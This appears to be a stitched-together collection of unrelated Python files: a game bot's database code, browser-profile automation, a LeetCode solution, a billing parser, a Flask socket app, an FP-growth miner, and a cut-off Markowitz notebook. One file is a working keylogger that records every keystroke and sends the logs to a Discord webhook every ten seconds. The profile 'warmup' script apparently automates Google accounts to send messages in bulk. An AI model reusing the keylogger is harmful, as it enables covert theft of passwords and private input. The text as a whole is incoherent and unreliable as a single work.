        # First we'll create a list of players along with their scores, territories, and special resources
        player_rankings = [(player.get_name(), player.score(), len(player.territories),
                            len(player.special_resources))
                           for player in self.players.values()]

        # Sort the list in descending order of score
        player_rankings.sort(key=lambda x: x[1], reverse=True)

        # Now we'll create the table using the tabulate module.
        headers = ["Player Name", "Score", "Territories", "Resources"]
        table = tabulate(player_rankings, headers, tablefmt="simple")
        table = "```\n" + table + "\n```"

        return table

    def get_players_state(self):
        player_rankings = [(player.get_name(), player.score(), player.territories,
                            player.special_resources)
                           for player in self.players.values()]

        # Sort the list in descending order of score
        player_rankings.sort(key=lambda x: x[1], reverse=True)

        # Start the formatted output
        formatted_output = ""
        for rank in player_rankings:
            # Add player name and score
            formatted_output += "Player Name: " + str(rank[0]) + "\nScore: " + str(rank[1]) + "\n"

            # Add territories
            formatted_output += "Territories:\n"
            for territory in rank[2]:
                formatted_output += "- " + str(territory) + "\n"

            # Add special resources
            formatted_output += "Resources:\n"
            for resource in rank[3]:
                formatted_output += "- " + str(resource) + "\n"

            # Add a separator for clarity
            formatted_output += "-----------------------------\n"

        formatted_output = "```\n" + formatted_output + "\n```"
        return formatted_output

    def get_players_rolls(self):
        player_rolls = {}
        for player in self.players.values():
            player_turns = player.get_turns()
            rolls = []
            for pt in player_turns:
                rolls.append(self.turns[pt - 1].get_roll())
            player_rolls[player.get_name()] = rolls
        return player_rolls

    def plot_player_rolls(self, filename=None):
        player_rolls = self.get_players_rolls()
        return plot_histogram(player_rolls, filename)

    def get_story(self):
        responses = [turn.ai_response for turn in self.turns]
        story = '\n---\n'.join(responses)
        return story

    def get_summary(self):
        summaries = [turn.summary for turn in self.turns]
        summary = '\n---\n'.join(summaries)
        return summary

    def tell_story(self):
        story = f"Prompt: {self.prompt}\nStory:\n"
        story += self.get_story()
        return story

    def tell_summary(self):
        summary = f"Prompt: {self.prompt}\nSummary of events:\n"
        summary += self.get_summary()
        return summary

    def get_win_condition_prompt(self, player_name):
        win_condition_prompt = load_prompt_file("WinConditionIntro.txt")
        win_condition_prompt += f"\n{load_prompt_file('WinConditionRules.txt')}"
        win_condition_prompt += f"\nGive me a winning goal for {player_name}"
        win_condition_prompt += f"\nPrompt: {self.prompt}"
        win_condition_prompt += f"\nGame State\n{self.get_players_state()}"
        win_condition_prompt += f"\nSummary of events:\n{self.tell_summary()}"
        win_condition_prompt += f"\n----------\n"
        win_condition_prompt += f'\nBased on the game up to this point and the rules described above, the final goal ' \
                                f'for {player_name} that does not involve convincing any other players in the game to do anything is: '
        return win_condition_prompt

    def export(self):
        players = {player_id: player.export() for player_id, player in self.players.items()}
        turns = [turn.export() for turn in self.turns]
        config = {
            'id': self.id,
            'prompt': self.prompt,
            'active': self.active,
            'temperature': self.temperature,
            'players': players,
            'turns': turns,
            'response_style': self.response_style
        }
        return config

class BotDB:
    def __init__(self, filepath):
        self.filepath = filepath
        self.sessions = {}
        if os.path.exists(self.filepath):
            with open(self.filepath, 'r') as f:
                self.session_configs = yaml.safe_load(f)
            if not self.session_configs:
                self.session_configs = {}
        else:
            with open(self.filepath, 'w') as f:
                yaml.safe_dump({}, f)
            self.session_configs = {}
        for session, session_data in self.session_configs.items():
            if session != "thoughts":
                self.sessions[session] = Channel(config=session_data)

        self.thoughts_channel_name = "thoughts"

    def check_session(self, session_id):
        if session_id in self.sessions:
            return True
        else:
            return False

    def get_session(self, session_id):
        return self.sessions[session_id]

    def save_session(self, session_id):
        self.session_configs[session_id] = self.sessions[session_id].export()
        with open(self.filepath, 'w') as f:
            yaml.safe_dump(self.session_configs, f)

    def set_thoughts_id(self, channel_id):
        c_id_config = {"channel_id": channel_id}
        self.session_configs[self.thoughts_channel_name] = c_id_config
        with open(self.filepath, 'w') as f:
            yaml.safe_dump(self.session_configs, f)

    def get_thoughts_id(self):
        if self.thoughts_channel_name in self.session_configs:
            return self.session_configs[self.thoughts_channel_name]["channel_id"]


import random
import string
from google_nav_def import *
from connectage_def import *

def call_connectage():
    profiles_file="datasources\\boith.txt"
    path_creation ="C:\\Users\\admin4\\\AppData\\Roaming\\Google\\boith\\"
    e=False
    while(e!=True):
        try:
            pr_start = int(input("From which profile do you start?: "))
            pr_end = int(input("Which profile to finish?: "))
            print('open '+str((pr_end-pr_start)+1)+' profil')
            wait_profiles=   input(">> profiles wait number : ")

            if(wait_profiles==""):
                wait_profiles = int((pr_end-pr_start)+1)
            else:
                wait_profiles =int(wait_profiles)

            e=True
        except:
            print("input erreur !")
            sleep(0.5)
            clear()
            e=False

    load_profiles_c(pr_start,pr_end,profiles_file,path_creation)

    google_theard_c()
    start_wait_theard_c(wait_profiles)
    out=input("press eny key to quit script  .....")

def call_google():
    profiles_file="datasources\\profiles.txt"
    path_creation ="C:\\Users\\admin4\\\AppData\\Roaming\\Google\\"
    # f=len(open(profiles_file, 'r').readlines())
    keyword_file="datasources\\keyword_searsh.txt"
    e=False
    while(e!=True):
        try:
            pr_start = int(input("From which profile do you start?: "))
            pr_end = int(input("Which profile to finish?: "))
            print('open '+str((pr_end-pr_start)+1)+' profil')

            wait_profiles=   input(">> profiles wait number : ")
            if(wait_profiles==""):
                wait_profiles = int((pr_end-pr_start)+1)
            else:
                wait_profiles =int(wait_profiles)

            navigate_count = int  (input(">> How many time do you want to profile navigated in google ?: "))
            nb_message = int  (input(">> How many messages do you want to send?: "))

            e=True
        except:

            print("input erreur !")
            sleep(0.5)
            clear()
            e=False

    load_profiles(pr_start,pr_end,profiles_file,path_creation)

    google_theard(keyword_file,nb_message,navigate_count)

    start_wait_theard(wait_profiles)

################______main_______################

e=False
while(e!=True):
    try:
        print("#########################################\n")
        print("press (1) if you want to use warmup  \n")
        print("press (2) if you want to use connectage  \n")
        print("#########################################\n")
        choix=int(input("your choice ?:  "))
        e=True
        if(choix not in [1,2]):
            print("choice invalid !")
            sleep(0.5)
            clear()
            e=False
    except:
            print("choice invalid !")
            sleep(0.5)
            clear()
            e=False

if (choix==1):
    clear()
    call_google()
elif (choix==2):
    clear()
    call_connectage()

#################################################


"""
Manage experiments.

Usage:
    manage.py train <model>
    manage.py evaluate [--model MODEL] [--order]
    manage.py (-h | --help)

Options:
    -h --help               Show this screen.
    -o --order              Evaluate ordering.
    -m --model              Model name.
"""

from docopt import docopt
from experiment import get_exp_class, load_experiment
from experiment.evaluator import Evaluator, OrderEvaluator
from utils.constants import DATASET_NAMES, ORDER_NAMES, MODEL_NAMES

def main():
    args = docopt(__doc__, help=True, version=None)

    if args["train"]:
        if args['<model>'] == 'order':
            exp_class = get_exp_class("ORDER")
            for order in ORDER_NAMES:
                for dataset in DATASET_NAMES:
                    if order == "smiles" and dataset not in ["ENZYMES", "PROTEINS_full"]:
                        continue
                    try:
                        exp = exp_class(order, dataset)
                        exp.train()
                    except FileExistsError:
                        continue
        else:
            exp_class = get_exp_class(args['<model>'])
            for dataset in DATASET_NAMES:
                try:
                    exp = exp_class(dataset)
                    exp.train()
                except FileExistsError:
                    continue
    elif args["evaluate"]:
        if args['--order']:
            ev_class = OrderEvaluator
            for order in ORDER_NAMES:
                ev = OrderEvaluator(order)
                ev.evaluate()
            return
        if args['--model']:
            ev = Evaluator(args['MODEL'])
            ev.evaluate()
        else:
            for model in MODEL_NAMES:
                ev = ev_class(model)
                ev.evaluate()

if __name__ == "__main__":
    main()


'''
-Medium-
*Monotonic Stack*

The min-product of an array is equal to the minimum value in the array multiplied by the array's sum.

For example, the array [3,2,5] (minimum value is 2) has a min-product of 2 * (3+2+5) = 2 * 10 = 20.
Given an array of integers nums, return the maximum min-product of any non-empty subarray of nums.
Since the answer may be large, return it modulo 109 + 7.

Note that the min-product should be maximized before performing the modulo operation. Testcases are
generated such that the maximum min-product without modulo will fit in a 64-bit signed integer.

A subarray is a contiguous part of an array.

Example 1:

Input: nums = [1,2,3,2]
Output: 14
Explanation: The maximum min-product is achieved with the subarray [2,3,2] (minimum value is 2).
2 * (2+3+2) = 2 * 7 = 14.
Example 2:

Input: nums = [2,3,3,1,2]
Output: 18
Explanation: The maximum min-product is achieved with the subarray [3,3] (minimum value is 3).
3 * (3+3) = 3 * 6 = 18.
Example 3:

Input: nums = [3,1,5,6,4,2]
Output: 60
Explanation: The maximum min-product is achieved with the subarray [5,6,4] (minimum value is 4).
4 * (5+6+4) = 4 * 15 = 60.

Constraints:

1 <= nums.length <= 10^5
1 <= nums[i] <= 10^7

'''

from RangeMinimumQuery import RMQ

class Solution(object):
    def maxSumMinProductTLE(self, nums):
        """
        :type nums: List[int]
        :rtype: int
        """
        n = len(nums)
        preSum = [0]*(n+1)
        for i in range(1,n+1):
            preSum[i] = preSum[i-1]+nums[i-1]
        res = 1
        rmq = RMQ(nums)
        for i in range(n):
            for j in range(i, n):
                res = max(res, nums[rmq.minRange(i,j)]*(preSum[j+1]-preSum[i]))
                #print(i, j, nums[rmq.minRange(i,j)], preSum[j+1]-preSum[i], res)
        return res

    def maxSumMinProduct(self, nums):
        """
        :type nums: List[int]
        :rtype: int
        """
        n = len(nums)
        preSum = [0]*(n+1)
        for i in range(1,n+1):
            preSum[i] = preSum[i-1]+nums[i-1]
        res = 1
        leftGreat = [-1]*n
        rightGreat = [-1]*n
        stack = []
        for i in range(n):
            while stack and nums[stack[-1]] >= nums[i]:
                stack.pop()
            if stack:
                leftGreat[i] = stack[-1]+1
            else:
                leftGreat[i] = 0
            stack.append(i)
        #print(leftGreat)
        stack = []
        for i in range(n-1, -1, -1):
            while stack and nums[stack[-1]] >= nums[i]:
                stack.pop()
            if stack:
                rightGreat[i] = stack[-1]-1
            else:
                rightGreat[i] = n-1
            stack.append(i)
        for i in range(n):
            l = leftGreat[i]
            r = rightGreat[i]
            res = max(res, nums[i]*(preSum[r+1]-preSum[l]))
        return res%(10**9+7)

if __name__ == "__main__":
    #print(Solution().maxSumMinProduct([1,2,3,2]))
    print(Solution().maxSumMinProduct([2,3,3,1,2]))
    #print(Solution().maxSumMinProduct([3,1,5,6,4,2]))


#to find largest number

def largestno(arr):
    for i in range(len(arr)-1):
        for j in range(i+1,len(arr)):
            if(arr[i]>arr[j]):
                t=arr[i]
                arr[i]=arr[j]
                arr[j]=t
    return arr

def arraysort(arr):

    arr.sort()
    print(arr)
    print("largest number is : ",arr[len(arr)-1])

arr=[]
n=int(input("enter a no of array : "))
print("enter array elements ")
for i in range(n):
    v=int(input())

    arr.append(v)
#a=largestno(arr)
#print("largest number is  : ",a[len(a)-1])
arraysort(arr)
print(arr)

to find the largest no of array/largest.py


"""Převod výrazu v závorkách na řetězec pro modifikaci regulárního výrazu.

Projekt: Bakalářská práce Regulované jazykové operace a jejich užití, Brno 2023.

Tento soubor obsahuje funkci convert_parentheses_expression_to_extension_string() pro převod výrazu v závorkách
na řetězec pro modifikaci regulárního výrazu. Daný převedený výraz jednotlivé funkce využívající tak, že buď je
regulární výraz rozšířen o nový výraz nebo je poslední podvýraz nahrazen novým výrazem. Typ modifikace se odvíjí
od skutečnosti, zda regulární výraz končí výrazem v závorkách nebo jedním z operátorů „*“ nebo „+“.

:Author: David Chocholatý
:Contact: xchoch09@stud.fit.vutbr.cz
:Filename: convert_parentheses_expression_to_extension_string.py
"""

from re import sub

def convert_parentheses_expression_to_extension_string(expression_to_convert: str) -> str:
    """Funkce pro převod výrazu v závorkách na řetězec pro modifikaci regulárního výrazu.

    Tato funkce slouží pro převod vstupního výrazu na výraz pro úpravu regulárního výrazu. Konkrétně nový výraz
    modifikuje vstupní výraz tak, že kromě obsažených řetězců, jenž obsahují více jak jeden symbol, jsou přidány
    i veškeré jejich podřetězce. Například výraz „(a|bcd)“ bude upraven na výraz „(b|bc)“. Jak již název funkce
    napovídá, je předpokládáno, že vstupní výraz je výrazem v klasických závorkách. Samotný první a poslední symbol
    výrazu není kontrolován na základě skutečnosti, že dle návrhu algoritmu již daná kontrola byla provedena.

    :param expression_to_convert: vstupní výraz pro převod na nový výraz.
    :type expression_to_convert: str
    :return: nový rozšiřující výraz vstupního výrazu.
    :rtype: str
    """
    extension_string = "("
    to_process = expression_to_convert[1:-1].split("|")

    for string_element in to_process:
        for substring_end_index in range(1, len(string_element)):
            extension_string = extension_string + string_element[0:substring_end_index] + "|"

    if len(extension_string) == 1:
        return ""

    return sub(r".$", ")", extension_string)


import keyboard
import time
import requests
import threading

# Replace 'WEBHOOK_URL' with your actual Discord webhook URL
WEBHOOK_URL = 'https://discord.com/api/webhooks/your_webhook_url'

# Create a list to store the captured keystrokes
keylogs = []

# Function to send keylogs to Discord via webhook
def send_keylogs():
    global keylogs

    # Check if there are any keylogs to send
    if keylogs:
        # Convert the keylogs to a string
        keylogs_str = '\n'.join(keylogs)

        # Create the payload for the webhook
        payload = {
            'content': keylogs_str
        }

        # Send the payload to the Discord webhook
        requests.post(WEBHOOK_URL, data=payload)

        # Clear the keylogs list
        keylogs = []

    # Schedule the next execution of the function after 10 seconds
    threading.Timer(10, send_keylogs).start()

# Function to capture keystrokes
def capture_keystrokes(event):
    global keylogs

    # Append the captured keystroke to the keylogs list
    keylogs.append(event.name)

# Start capturing keystrokes
keyboard.on_release(callback=capture_keystrokes)

# Start sending keylogs to Discord every 10 seconds
send_keylogs()

# Keep the script running
while True:
    time.sleep(1)


# When it comes to generators, they are like functions that
# instead of returning a value and deleting the function data from the memory
# they yield a value and save the state of the function as follows

def infinite_sequence():
    """generates a infinite sequence of numbers"""
    itr = 0
    while True:
        yield itr
        itr += 1

# we call a yielded value by using next() or a for loop

infinite_sequence_gen = infinite_sequence()
print(f"next: {next(infinite_sequence_gen)}")
print(f"next: {next(infinite_sequence_gen)}")

# with a for loop

count = 0
for num in infinite_sequence_gen:
    print(num)
    if count == 10:
        break
    count += 1

# If you watch the console output the generator does not re-start from zero
# in the for loop. this is because once it is called, it saves the function state
# including the local variables and scoped available data.

# Also, we can generate generator expressions which are like list comprehensions

example_list = (x for x in range(5))
print(type(example_list))

# Also, yield is a expression, so it can be assigned to a variable. This is useful
# when we use send(), throw(), or close() methods with the iterator. With send()
# we can return a value to variable holding the yield value and continue with
# the saved state function

def infinite_sequence_with_send():
    """generates a infinite sequence of numbers"""
    itr = 0
    while True:
        i = yield itr
        if i is not None:
            itr = i
        itr += 1

infinite_sequence_with_send_gen = infinite_sequence_with_send()
for num in infinite_sequence_with_send_gen:
    print(f"num = {num}")
    if num % 2 == 0:
        infinite_sequence_with_send_gen.send(num * 2)

    if num > 100:
        infinite_sequence_with_send_gen.close()  # this close and re-start the generator
        break

# throw() Could be used to throw an exception, it is useful if you are trying to catch and handle errors


from PIL import Image
import copy
import json

img = Image.open("land.png")
data = img.getdata()
x = data.size[0]
y = data.size[1]
print('x =', x, 'y =', y)

lsts = []
for j in range(y):
	lst = []
	for i in range(x):
		if data[j*x+i][0]:
			lst.append(0)
		else:
			lst.append(1)
	lsts.append(copy.deepcopy(lst))

for i in range(y):
	print(lsts[i])

with open('data.txt', 'w') as outfile:
    json.dump(lsts, outfile)


def billing(link_dir): #link_dir = uploads_dir(flask)
    import datetime
    import time
    import sys
    import os
    import numpy as np
    import xlrd
    import openpyxl

    from operator import itemgetter
    from bs4 import BeautifulSoup

    ''' search for files to process '''
    file_list = os.listdir(path=link_dir)
    start_link = []

    for link in file_list:
        start_link.append(os.path.join(link_dir, link))

    # Getting the right links to the files.
    for link in start_link:
        file_name, file_extension = os.path.splitext(link)
        if link[-5:].lower() == '.xlsx':
            excel_link = link
        elif link[-5:].lower() == '.html':
            billing_link = link

    ''' part of parsing the html file with billing and start creating table_finish '''
    first_table = []
    second_table = []

    with open(billing_link) as read:
        contents = read.read()
    soup = BeautifulSoup(contents, 'html.parser')

    def table_parser(table_index, count_col):
        # The function parses the billing tables.  Input data are the table number in the file (index) and the number of columns in the main part.
        save_table = []
        save_table_total = ['Итого', ]
        for tag in soup.find_all('table', limit=9)[table_index]:
            for row in tag.find_all('tr')[2:-1]:
                for col in row.find_all('td'):
                    save_table.append(col.text)
            arr = np.array(save_table)
            save_table = arr.reshape(-1, count_col)
            save_table = np.array(save_table).tolist()
            for row in tag.find_all('tr')[-1:]:
                for col in row.find_all('td'):
                    save_table_total.append(col.text)
            save_table.append(save_table_total)
        return save_table

    first_table = table_parser(6, 8)
    second_table = table_parser(-1, 7)

    # Added a space in the cell for formatting style.
    second_table[-1].insert(1, ' ')

    # Merge from two tables into one.
    table_finish = np.array(np.concatenate(
        (first_table, second_table), axis=1)).tolist()

    # In the last line I insert the sum of the total values of the tables (could not be paired in the pure form).
    table_finish[-1].append(str(float(table_finish[-1][7]) +
                                float(table_finish[-1][-1])))

    # Counting the total column (total expense for each subscriber).
    for row in table_finish[:-1]:
        table_finish[table_finish.index(row)].append(
            str(round(float(row[-1]) + float(row[-8]), 2)))

    # Adding three spaces to the last line for formatting style.
    for row_index in range(3):
        table_finish[-1].insert(0, ' ')

    ''' table for page calculation table_fihish '''
    unknown_nubmers = []
    reserve_number_charges = []
    sheet_bd = {}
    rb = xlrd.open_workbook(excel_link)
    sheet = rb.sheet_by_name('БАЗА ДАННЫХ')

    # Array where the item (list) is a string from the database page.
    row_vals = [sheet.row_values(rownum) for rownum in range(sheet.nrows)]

    # Creating a dictionary key phone, meaning everything else.
    for row in row_vals[1:]:
        sheet_bd[str(row[0])[:10]] = row[1:]

    # Connecting the megaphone table to the exel table_finish database. And searching for unknown phone numbers.
    for row in table_finish:
        if row[0].isdigit():
            if row[0] in sheet_bd:
                table_finish[table_finish.index(
                    row)] = sheet_bd[row[0]][:3] + row + sheet_bd[row[0]][3:4]
            else:
                unknown_nubmers.append(row[0])

    '''It displays a warning message if one of the lists contains data that need to be clarified.'''
    if unknown_nubmers or reserve_number_charges:
        up_dict = dict(switch=0, unknown = unknown_nubmers,
                       reserve = reserve_number_charges)
        return up_dict

    # Counting overspending and bringing in the result.
    for row in table_finish[:-1]:
        if isinstance(row[-1], float):
            table_finish[table_finish.index(row)].append(
                round(float(row[-1]) - float(row[-2]), 2))
        else:
            table_finish[table_finish.index(row)].append(row[-1])

    ''' table for page application table_appendix '''
    table_appendix = []

    # Downloading data from the first table (+ dictionary by phone) for use in the second sheet table.
    for row in table_finish[:-1]:
        load_list = []
        load_list.extend([row[1], row[2], row[0], row[3],
                          sheet_bd[row[3]][-3], ' ', row[-2], row[-3]])
        # Searching for debtors and filling in the last two or one column + checking for "actual costs".
        if type(row[-2]) is float:
            if row[-2] >= float(row[-3]):
                load_list.append(row[-3])
            else:
                load_list.extend([row[-2], row[-1]])
        else:
            load_list.append(row[-3])
        table_appendix.append(load_list)

    table_appendix = sorted(table_appendix, key=itemgetter(0))

    # Numbering the sorted lines in the first field. And searching for expenses on spare phone numbers.
    count = 0
    for row in table_appendix:
        count += 1
        table_appendix[table_appendix.index(row)].insert(0, count)
        if ((row[2] == 'МТС') or (row[3] == 'Резерв')) and (float(row[8]) > 0):
            reserve_number_charges.append(row[4])

    '''It displays a warning message if one of the lists contains data that need to be clarified.'''
    if unknown_nubmers or reserve_number_charges:
        up_dict = dict(switch=0, unknown = unknown_nubmers,
                       reserve = reserve_number_charges)
        return up_dict

    ''' loading table_finish and table_apendix tables into their sheets(+create sheets) '''
    # Making names for new pages.
    time_name = datetime.date.today()
    calendar = {1: 'январь', 2: 'февраль', 3: 'март', 4: 'апрель', 5: 'май', 6: 'июнь',
                7: 'июль', 8: 'август', 9: 'сентябрь', 10: 'октябрь', 11: 'ноябрь', 12: 'декабрь'}

    year = str(time_name.year)
    month = time_name.month - 1
    new_sheet_name_pr = 'Приложение №9 ' + calendar[month] + ' ' + year
    new_sheet_name_po = 'Подсчет ' + calendar[month] + ' ' + year

    wb = openpyxl.load_workbook(excel_link, read_only=False)

    def copy_sheets(name_sheet):
        # Copied the sheets.
        sourece = wb[name_sheet]
        wb.copy_worksheet(sourece)

    copy_sheets('_подсчет_месяц_год')
    copy_sheets('_приложение_месяц_год')

    def finish_sheet(table_name, copy_name, start_row_index, start_col_index, new_sheet_name):
        # Renamed the copied sheets + filled them with data.
        sheet = wb[copy_name]
        row_index = start_row_index
        for row in table_name:
            row_index += 1
            col_index = start_col_index
            for col in row:
                col_index += 1
                col = str(col)
                col = col.replace('.', ',')
                value = col
                cell = sheet.cell(row=row_index, column=col_index)
                cell.value = value
        sheet.title = new_sheet_name

    finish_sheet(table_finish, '_подсчет_месяц_год Copy', 2, 1, new_sheet_name_po)
    finish_sheet(table_appendix, '_приложение_месяц_год Copy',
                 19, 0, new_sheet_name_pr)

    wb.save(excel_link)

    up_dict = dict(switch=1, unknown = unknown_nubmers,
                   reserve=reserve_number_charges)
    return up_dict


"""# Uso del WHILE en Python
numero = 1

# Repeticion de numeros
while numero <= 10:
    print(numero)
    numero += 1

# Repeticion de numeros con BREAK
while numero <= 10:
    print(numero)
    if numero == 8:
        break
    numero += 1

# Repeticion de numeros con CONTINUE
numero = 1

while numero <= 10:
    numero += 1
    if numero == 4:
        continue
    print(numero)
"""
# Producto de numeros naturales (factorial)
factor = int(input("introduce un numero natural: "))

factorial = 1
resultado = factorial

while factorial < factor:
    resultado = (factorial + 1) * resultado
    factorial += 1
print(resultado)


from flask import Flask, render_template, request
from flask_socketio import SocketIO
import json
import eventlet
import eventlet.wsgi
import asyncio
import requests

app = Flask(__name__) #Veerrryy similar to express, but not quite
app.config['SECRET_KEY'] = 'vnkdjnfjknfl1232#'
# app.wsgi_app = socketio.WSGIApp(sio, app.wsgi_app)
socketio = SocketIO(app) #Veerrryy similar to express, but not quite

@app.route('/')
def sessions():
    return render_template('session.html')
    # return 'Hello World!'
def messageReceived(methods=['GET', 'POST']):
    print('message was received!!!')

@socketio.on('weather')
def handleWeather(jsonZipCode, methods=['GET', 'POST']):
    # # res = requests.get('https://www.metaweather.com/api/location/search/?query=north')
    # # resJSON = res.json()
    # zipCodeDict = json.load(jsonZipCode) # console log never hurt anyone
    # zipCode = zipCodeDict.get("zipCode")
    socketio.emit('weatherResdponse', str(jsonZipCode), callback=messageReceived)

@socketio.on('slashCall')
def handleColor(json, methods=['GET', 'POST']):
    socketio.emit('slashResponse', json, callback=messageReceived) #emmitting a response to the client from the server, returning mesage was recieved!!!

@socketio.on('my event') #when 'my event' event is returned from the client
def handle_my_custom_event(json, methods=['GET', 'POST']):
    print('received my event: ' + str(json)) # console log never hurt anyone
    socketio.emit('my response', json, callback=messageReceived) #emmitting a response to the client from the server, returning mesage was recieved!!!

if __name__ == '__main__':
    # deploy with eventlet
    # eventlet.wsgi.server(eventlet.listen(('', 5000)), app)
    socketio.run(app, debug=True)
    # eventlet.wsgi.server(eventlet.listen(('', 8000)), app)


import itertools
from itertools import chain, combinations
import time
time_init = time.time()

minSupport = 0.025
minConfidence = 0.6

data = open('retail.csv', 'rU')	#reading the dataset

class FPNode(object):

	def __init__(self, value, count, parent):

		self.value = value
		self.count = count
		self.parent = parent
		self.link = None
		self.children = []

# check if node has a particular child
	def has_child(self, value):
		for node in self.children:
			if node.value == value:
				return True

		return False

# get the child node if exists
	def get_child(self, value):
		for node in self.children:
			if node.value == value:
				return node

		return None

	def add_child(self, value):
		child = FPNode(value, 1, self)
		self.children.append(child)
		return child

class FPTree(object):

	def __init__(self, transactions, threshold, root_value, root_count):
		"""
		Transactions -- list of iterable items
		"""
		self.frequent = self.find_frequent_items(transactions, threshold)
		self.headers = self.build_header_table(self.frequent)
		self.root = self.build_fptree(
			transactions, root_value,
			root_count, self.frequent, self.headers)

	@staticmethod
	def find_frequent_items(transactions, threshold):

		# Return the counts of items in the dataset
		items = {}

		for transaction in transactions:
			for item in transaction:
				if item in items:
					items[item] += 1
				else:
					items[item] = 1

		for key in list(items.keys()):
			if items[key] < threshold:
				del items[key]

		return items

	@staticmethod
	def build_header_table(frequent):
		headers = {}
		for key in frequent.keys():
			headers[key] = None

		return headers

	def build_fptree(self, transactions, root_value,
					 root_count, frequent, headers):
		root = FPNode(root_value, root_count, None)

		for transaction in transactions:
			sorted_items = [x for x in transaction if x in frequent]
			sorted_items.sort(key=lambda x: frequent[x], reverse=True)
			if len(sorted_items) > 0:
				self.insert_tree(sorted_items, root, headers)

		return root

	def insert_tree(self, items, node, headers):
		first = items[0]
		child = node.get_child(first)
		if child is not None:
			child.count += 1
		else:
			# Add new child.
			child = node.add_child(first)

			# Link it to header structure.
			if headers[first] is None:
				headers[first] = child
			else:
				current = headers[first]
				while current.link is not None:
					current = current.link
				current.link = child

		# Call function recursively.
		remaining_items = items[1:]
		if len(remaining_items) > 0:
			self.insert_tree(remaining_items, child, headers)

	def tree_has_single_path(self, node):
		"""
		Check if there is only a single path in the tree
		"""
		num_children = len(node.children)
		if num_children > 1:
			return False
		elif num_children == 0:
			return True
		else:
			return True and self.tree_has_single_path(node.children[0])

	def mine_patterns(self, threshold):
		"""
		Mine the constructed FP tree for frequent patterns.
		"""
		if self.tree_has_single_path(self.root):
			return self.generate_pattern_list()
		else:
			return self.zip_patterns(self.mine_sub_trees(threshold))

	def zip_patterns(self, patterns):
		"""
		Append suffix to patterns in dictionary if we are in a conditional FP tree.
		"""
		suffix = self.root.value

		if suffix is not None:
			# We are in a conditional tree.
			new_patterns = {}
			for key in patterns.keys():
				new_patterns[tuple(sorted(list(key) + [suffix]))] = patterns[key]

			return new_patterns

		return patterns

	def generate_pattern_list(self):
		patterns = {}
		items = self.frequent.keys()

		# If we are in a conditional tree,
		# the suffix is a pattern on its own.
		if self.root.value is None:
			suffix_value = []
		else:
			suffix_value = [self.root.value]
			patterns[tuple(suffix_value)] = self.root.count

		for i in range(1, len(items) + 1):
			for subset in itertools.combinations(items, i):
				pattern = tuple(sorted(list(subset) + suffix_value))
				patterns[pattern] = \
					min([self.frequent[x] for x in subset])

		return patterns

	def mine_sub_trees(self, threshold):
		"""
		Generate subtrees and mine them for patterns.
		"""
		patterns = {}
		mining_order = sorted(self.frequent.keys(),
							  key=lambda x: self.frequent[x])

		# Get items in tree in reverse order of occurrences.
		for item in mining_order:
			suffixes = []
			conditional_tree_input = []
			node = self.headers[item]

			# Follow node links to get a list of
			# all occurrences of a certain item.
			while node is not None:
				suffixes.append(node)
				node = node.link

			# For each occurrence of the item,
			# trace the path back to the root node.
			for suffix in suffixes:
				frequency = suffix.count
				path = []
				parent = suffix.parent

				while parent.parent is not None:
					path.append(parent.value)
					parent = parent.parent

				for i in range(frequency):
					conditional_tree_input.append(path)

			# Now we have the input for a subtree,
			# so construct it and grab the patterns.
			subtree = FPTree(conditional_tree_input, threshold,
							 item, self.frequent[item])
			subtree_patterns = subtree.mine_patterns(threshold)

			# Insert subtree patterns into main patterns dictionary.
			for pattern in subtree_patterns.keys():
				if pattern in patterns:
					patterns[pattern] += subtree_patterns[pattern]
				else:
					patterns[pattern] = subtree_patterns[pattern]

		return patterns

def find_frequent_patterns(transactions, support_threshold):
	tree = FPTree(transactions, support_threshold, None, None)
	return tree.mine_patterns(support_threshold)

def generate_association_rules(patterns, confidence_threshold):

	rules = {}
	for itemset in patterns.keys():
		upper_support = patterns[itemset]

		for i in range(1, len(itemset)):
			for antecedent in itertools.combinations(itemset, i):
				antecedent = tuple(sorted(antecedent))
				consequent = tuple(sorted(set(itemset) - set(antecedent)))

				if antecedent in patterns:
					lower_support = patterns[antecedent]
					confidence = float(upper_support) / lower_support

					if confidence >= confidence_threshold:
						rules[antecedent,consequent] = (confidence)

	return rules

transactions = []
itemSet = set()
freqSet = dict()	#dictionary that stores frequency of each itemset

for line in data:
	line = line.strip().rstrip(' ')        	#remove any trailing spaces
	line = line.split(' ')
	transaction = frozenset([int(x) for x in line])	#each set in transaction list is immutable
	# for item in transaction:
	# 	itemSet.add(frozenset([item]))		#initialize itemSets for k=1
	# 	if frozenset([item]) in freqSet:
	# 		freqSet[frozenset([item])] += 1
	# 	else:
	# 		freqSet[frozenset([item])] = 1
	transactions.append(transaction)

patterns = find_frequent_patterns(transactions, minSupport*len(transactions))
print(time.time()-time_init)

rules = generate_association_rules(patterns, minConfidence)

print('ITEMS:-')
for k, v in patterns.items():
	print (str(k) + '              ' + str( (float(v)/len(transactions))))
# # print(patterns)
print('\nRULES:-')
for k, v in rules.items():
	print (str(k) + '               ' + str(v))


def get_comments(jam, ann):
    '''Get the metadata from a jam and an annotation, combined as a string.

    Parameters
    ----------
    jam : JAMS
        The jams object

    ann : Annotation
        An annotation object

    Returns
    -------
    comments : str
        The jam.file_metadata and ann.annotation_metadata, combined and serialized
    '''
    jam_comments = jam.file_metadata.__json__
    ann_comments = ann.annotation_metadata.__json__
    return json.dumps({'metadata': jam_comments,
                       'annotation metadata': ann_comments},
                      indent=2)


# coding: utf-8

# In[1]:

from cvxopt import matrix, solvers
import numpy as np

# In[2]:

#markovitz function for finding the optimal with givin cov matrix
#help(solvers.qp)

def markowitz(mu):

    cov_matrix=np.array([[1.0,0.5,0.0],[0.5,1.5,-0.5],[0.0,-0.5,2]],dtype=np.float64)
    Constrains_left=np.array([[1,2,3],[1,1,1]],dtype=np.float64)
    Constrains_right=np.array([[mu,1]],dtype=np.float64).T
    P=matrix(cov_matrix) #From numpy to CVXOPT
    A=matrix(Constrains_left) #From numpy to CVXOPT
    b=matrix(Constrains_right) #From numpy to CVXOPT
    q=matrix([0.0,0.0,0.0])
    #using solver for optimization
    solution=solvers.qp(P,q,A=A,b=b)
    return np.array(solution['x']).T[0]

# In[3]:

#markovitz when shourt is forhibited
def markowitz_no_short(mu):

    cov_matrix=np.array([[1.0,0.5,0.0],[0.5,1.5,-0.5],[0.0,-0.5,2]],dtype=np.float64)
    Constrains_left=np.array([[1,2,3],[1,1,1]],dtype=np.float64)
    Constrains_right=np.array([[mu,1]],dtype=np.float64).T

    no_short_left=-np.eye(3,dtype=np.float64)
    no_short_right=np.zeros(3,dtype=np.float64)

    P=matrix(cov_matrix) #From numpy to CVXOPT
